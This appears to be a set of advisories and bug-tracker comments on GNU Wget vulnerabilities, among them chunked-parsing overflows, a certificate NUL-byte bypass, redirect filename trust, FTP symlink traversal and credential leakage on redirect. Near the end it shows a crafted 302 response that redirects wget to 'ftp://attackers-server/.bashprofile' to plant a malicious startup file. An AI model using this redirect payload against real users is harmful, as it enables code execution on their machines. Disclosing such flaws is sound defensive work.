Applications that use Wget to access a remote resource using shorthand URLs and pass arbitrary user credentials in the URL are vulnerable. In these cases attackers can enter crafted credentials which will cause Wget to access an arbitrary host.

A stack-based buffer overflow vulnerability was found in HTTP protocol handling, potentially allowing a code execution.

The http.c:skipshortbody() function is called in some circumstances, such as when processing redirects. When the response is sent chunked, the chunk parser uses strtol() to read each chunk's length, but doesn't check that the chunk length is a non-negative number. The code then tries to skip the chunk in pieces of 512 bytes by using the MIN() macro, but ends up passing the negative chunk length to connect.c:fdread(). As fdread() takes an int argument, the high 32 bits of the chunk length are discarded, leaving fdread() with a completely attacker controlled length argument.

A heap-based buffer overflow vulnerability was found in HTTP protocol handling, potentially allowing a code execution.

The retr.c:fdreadbody() function is called when processing OK responses. When the response is sent chunked, the chunk parser uses strtol() to read each chunk's length, but doesn't check that the chunk length is a non-negative number. The code then tries to read the chunk in pieces of 8192 bytes by using the MIN() macro, but ends up passing the negative chunk length to retr.c:fdread(). As fdread() takes an int argument, the high 32 bits of the chunk length are discarded, leaving fdread() with a completely attacker controlled length argument. The attacker can corrupt malloc metadata after the allocated buffer.

A method to bypass SSL certificate name vs. host name verification via NUL ('\0') character embedded in X509 certificate's CommonName or subjectAltName was presented at Black Hat USA 2009:

http://www.blackhat.com/html/bh-usa-09/bh-usa-09-archives.html#Marlinspike

Similar problem affected wget (from a testing and very quick look at the code, subjectAltNames are not supported, hence only CommonName is a vector).

Upstream bug report: http://savannah.gnu.org/bugs/?27183 (currently not public)

Contents of upstream bug report, leaked via wget-notify list: http://addictivecode.org/pipermail/wget-notify/2009-August/001808.html

Upstream fixes: http://hg.addictivecode.org/wget/mainline/rev/2d8c76a23e7d http://hg.addictivecode.org/wget/mainline/rev/f2d2ca32fd1b http://hg.addictivecode.org/wget/mainline/rev/1eab157d3be7

+++ This bug was initially created as a clone of Bug #591580 +++

The draft advisory from oCERT follows:

The lftp, wget and lwp-download applications are ftp/http clients and file transfer tools supporting various network protocols. The lwp-download script is shipped along with the libwww-perl library.

Unsafe behaviours have been found in lftp and lwp-download handling the Content-Disposition header in conjunction with the 'suggested filename' functionality.

Additionally unsafe behaviours have been found in wget and lwp-download in case of HTTP 3xx redirections during file dowloading. The two applications automatically use the URL's filename portion specified in the Location header.

Implicitly trusting the suggested filenames results in a saved file that differs from the expected one according to the URL specified by the user. This can be used by a malicious attacker to silently write hidden and/or initialization files under the user's current directory (e.g. .login, .bashrc).

The impact of this vulnerability is increased in the case of lftp/lftpget as the default configuration allows file overwrite without prompting confirmation to the user. In case of lftp the get1 command is affected. This command can be invoked directly by the user from lftp's command line interface or indirectly by using the lftpget script, packaged within lftp distribution.

Affected version:

lftp <= 4.0.5 wget <= 1.12 libwww-perl <= 5.834

Fixed version:

lftp >= 4.0.6 wget N/A libwww-perl >= 5.835

Credit:

Vulnerability discovered and reported by Hank Leininger and Solar Designer under the Openwall Project, with further analysis by Daniele Bianco of oCERT.

--- Additional comment from vdanen on 2010-05-15 08:54:02 EDT ---

Florian noted the following as testcases for wget:

$ wget http://www.postbank.de/-snm-0184304830-1273865547-04f6f00001-0000000023-1273866968-enm-privatkunden/fondsboerse.htm (adds ;jsessionied= to the stored file name)

There's yet another case, but that only results in an index.html download.

$ wget http://www.enyo.de/fw

--- Additional comment from vdanen on 2010-05-17 10:51:26 EDT ---

This is now public:

http://www.ocert.org/advisories/ocert-2010-001.html

--- Additional comment from vdanen on 2010-05-18 11:17:25 EDT ---

Florian made a post to oss-security with a preliminary patch for wget. It probably requires some upstream review as it does add a new configuration option:

http://article.gmane.org/gmane.comp.security.oss.general/2908

However, Ludwig Nussel indicates that wget's behaviour is acceptable and probably doesn't require fixing at all, as wget does not overwrite existing files by default (adds suffixes like .1 and .2 to the new file if it already exists), and also prints the file name it used so there are no surprises.

In light of that, I would consider this a non-issue for wget, especially considering how intrusive the patch is for a backport.

Absolute path traversal vulnerability in GNU Wget before 1.16, when recursion is enabled, allows remote FTP servers to write to arbitrary files, and consequently execute arbitrary code, via a LIST response that references the same filename within two entries, one of which indicates that the filename is for a symlink.

Race condition in wget 1.17 and earlier, when used in recursive or mirroring mode to download a single file, might allow remote servers to bypass intended access list restrictions by keeping an HTTP connection open.

GNU Wget (including the latest version) when supplied with a malicious website link can be tricked into saving an arbitrary remote file supplied by an attacker, with arbitrary contents and filename under the current directory. This can lead to potential code execution by creating system scripts (such as .bashprofile and others) within home directory as well as other unauthorized actions (such as request sniffing by proxy modification, or arbitrary system file retrieval) by uploading .wgetrc configuration file.

Because of lack of sufficient controls in wget, when user downloads a file with wget, such as:

wget http://attackers-server/safefile.txt

An attacker who controls the server could make wget create an arbitrary file with arbitrary contents and filename by issuing a crafted HTTP 30X Redirect containing ftp server reference in response to the victim's wget request.

For example, if the attacker's server replies with the following response:

HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=UTF-8 Location: ftp://attackers-server/.bashprofile Content-Length: 262 Server: Apache

wget will automatically follow the redirect and will download a malicious .bashprofile file from a malicious FTP server. It will fail to rename the file to the originally requested filename of 'safefile.txt' as it would normally do, in case of a redirect to another HTTP resource with a different name.

Because of this vulnerability, an attacker is able to upload an arbitrary file with an arbitrary filename to the victim's current directory.

GNU Wget through 1.21.1 does not omit the Authorization header upon a redirect to a different origin, a related issue to CVE-2018-1000007.